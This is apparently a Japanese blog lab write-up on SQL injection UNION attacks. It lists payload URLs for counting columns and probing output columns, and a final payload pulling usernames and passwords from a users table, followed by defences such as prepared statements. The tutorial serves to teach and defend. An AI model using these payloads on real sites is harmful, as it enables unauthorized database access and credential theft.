Shikata Ga Nai

Private? There is no such things.

SQLインジェクション UNION攻撃(続編)

Hello there, ('ω')ノ

UNION を利用したSQLインジェクション攻撃を成功させるには、以下の 2つの条件 を満たす必要があります。

  1. UNION に結合するクエリのカラム数が一致していること
  2. データ型が互換性を持っていること

このラボでは、これらの条件を満たすために カラム数の特定適切なデータ型の特定 を行い、最終的に機密データを取得する方法を解説します。


🎯 攻撃の手順

1️⃣ カラム数を特定する

まず、ORDER BY を使用して、もともとの SELECT 文が 何列のデータを取得しているか を確認します。

カラム数を調べるテスト

https://insecure-website.com/products?category=Gifts' ORDER BY 1--
https://insecure-website.com/products?category=Gifts' ORDER BY 2--
https://insecure-website.com/products?category=Gifts' ORDER BY 3--

... エラーが発生する直前の数値 が、元のクエリのカラム数になります。

例: ORDER BY 3-- でエラーが出たら、カラム数は 2 であると判明。


2️⃣ UNION SELECTでカラムに値を出力

次に、UNION SELECT を利用して、どのカラムがデータを表示できるか を確認します。

テスト用のペイロード

https://insecure-website.com/products?category=Gifts' UNION SELECT NULL, NULL--

エラーが出た場合:
カラム数が足りていないため、NULL の数を増やして試す。

成功例(カラム数が2のケース)

https://insecure-website.com/products?category=Gifts' UNION SELECT 'test', NULL--

このペイロードを試したとき、"test" という文字列がページ上に表示されるなら、そのカラムは TEXT 型でデータを出力できる。


3️⃣ データを取得する

カラムの種類が分かったら、users テーブルから機密情報を取得する。

管理者ユーザー名とパスワードを取得

https://insecure-website.com/products?category=Gifts' UNION SELECT username, password FROM users--

結果:
管理者の usernamepassword が表示される可能性がある。

ポイント:
- NULL を適切なデータ型に変更する
- username, password のカラムがあることを仮定して試す


🛡 SQLインジェクション UNION攻撃の防御策

1️⃣ プリペアドステートメントを使用する

ユーザー入力を直接SQLクエリに含めず、バインド変数 を使用する。

$stmt = $pdo->prepare("SELECT name, description FROM products WHERE category = ?");
$stmt->execute([$category]);

2️⃣ ユーザー入力のバリデーションを行う

  • 許可リスト(ホワイトリスト)を使用し、指定された値のみ受け付ける
  • UNION, SELECT, --, ' などのSQL構文をフィルタリング

3️⃣ エラーメッセージを隠す

SQLエラーをユーザーに表示せず、汎用的なエラーメッセージを返す


✅ まとめ

🎯 攻撃の流れ
1. ORDER BY でカラム数を特定
2. UNION SELECT NULL, NULL-- を試し、適切なカラムを見つける
3. UNION SELECT username, password FROM users-- で機密情報を取得

🛡 防御策
プリペアドステートメントを使用する
入力値のバリデーションを行う
エラーメッセージを隠す

SQLインジェクション UNION攻撃は、データベースの中身を盗み出す強力な手法 です。
しっかりと対策を講じ、アプリケーションのセキュリティを強化しましょう! 🚀

Best regards, (^^ゞ